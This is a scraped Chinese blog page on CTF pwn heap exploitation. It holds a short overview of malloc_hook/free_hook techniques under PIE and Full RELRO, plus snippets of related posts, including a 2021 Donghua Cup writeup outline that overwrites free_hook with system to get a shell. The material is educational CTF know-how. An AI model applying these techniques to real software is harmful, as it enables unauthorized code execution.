free_hook概述初级必备姿势常规搭配姿势按需进阶姿势总结 pwn题堆利用的一些姿势 – malloc_hook 概述   在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell

lifanxin的博客 6502

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

【CTF资料-0x0002】简易Linux堆利用入门教程by arttnba3老生常谈,[GITHUB BLOG ADDR](https://archive.next.arttnba3.cn/2021/02/24/%E3%80%90CTF%E8%B5%84%E6%96%99-0x0002%E3%80%91%E7%AE%80%E6%98%93Linux%E5%A0%86%E5%88%A9%E7%94%A8%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8Bby%20arttnba3/),请

arttnba3的博客 7045

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

暑假pwn训练(十四) 记录一下我调试pwn的过程

emem其实我是顺便记录一下我调试的命令哈 pwngdb 这个工具调试对堆有好处然后gdb-peda对输出反编译的代码观察有好处所以你们可以选择反正我是都有~~ babyrop 是一道基础的pwn题简单的栈溢出 这里我就简单的用这个程序来练一下我的调试技术 main函数 int __cdecl main() { int buf; // [esp+4h] [ebp-14h] char v2;...

doudoudedi 671

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

CTF-PWN入门教程:从栈溢出到堆利用的系统学习路线

二进制安全的核心在于理解程序运行时的内存布局与执行流控制。CTF中的PWN方向正是考察这种底层能力,它要求选手在NX、ASLR、Canary等防护机制全开的环境下,利用栈溢出、格式化字符串、堆漏洞等手法劫持程序执行流。学习PWN不仅是掌握工具,更要建立从原理到利用的完整思维链。扎实掌握寄存器、栈帧、libc机制后,借助pwntools、gdb等工具链,即可将漏洞点转化为可控的利用原语。从ret2text到ret2libc,再到堆利用UAF与double free,系统化的训练路径能显著降低入门门槛。一条从零

weixin_29327977的博客 200

2023.7.4学习文档

1.学习数据结构有关知识,了解堆与栈。2.学习pwn基本工具IDA的用法。今日继续学习pwn方向知识。

Einbildung的博客 58

CTF PWN入门指南:从栈溢出到堆利用的全套学习路线

在二进制安全领域,缓冲区溢出是最基础也最致命的漏洞类型,它直接源于程序对内存边界校验的缺失。理解栈布局、函数调用约定和进程内存管理,是掌握漏洞利用的底层前提。CTF比赛中的PWN方向正是将这些原理用于实战的最佳训练场,它要求选手通过构造精心设计的输入,控制程序执行流并最终获取目标权限。从ret2text到ret2libc,再到格式化字符串和堆利用,每一步都建立在扎实的汇编、ELF格式及系统保护机制(如NX、PIE、Canary)理解之上。这类技术不仅用于夺旗竞赛,更广泛应用于漏洞挖掘、红队评估和系统安全加固

weixin_32736961的博客 166

【pwn】2021 东华杯(部分)

【pwn】2021 东华杯(部分) 1、cpp1 典中典之堆溢出,改俩堆块重叠进入unsorted bin,然后申请其中一个回来,就能泄露libc。 之后就是堆溢出改fd为free_hook写入system #!/usr/bin/python # -*- coding: UTF-8 -*- # ----------------------------------- # @File : exp.py # @Author : woodwhale # @Time : 2021/10/31 12

woodwhale的博客 3783

大一想打CTF,稍微学了些web想转pwn零基础要如何学习

摘要:本文为零基础学习者提供Pwn技术四阶段入门路线。第一阶段(1-2个月)筑基,重点掌握C语言内存布局、汇编基础和GDB调试;第二阶段(1个月)学习栈溢出漏洞原理及利用技术;第三阶段(2-3个月)进阶学习绕过NX、ASLR等保护机制;第四阶段通过实战构建知识体系。建议从pwnable.kr基础题目入手,强调动手实践与调试分析,最终形成完整的二进制漏洞利用能力。

白帽子凯哥哥的博客 489
上一篇: 对 SROP 简单的理解
下一篇: VMpwn学习
g1ven
博客等级 码龄1年 0粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值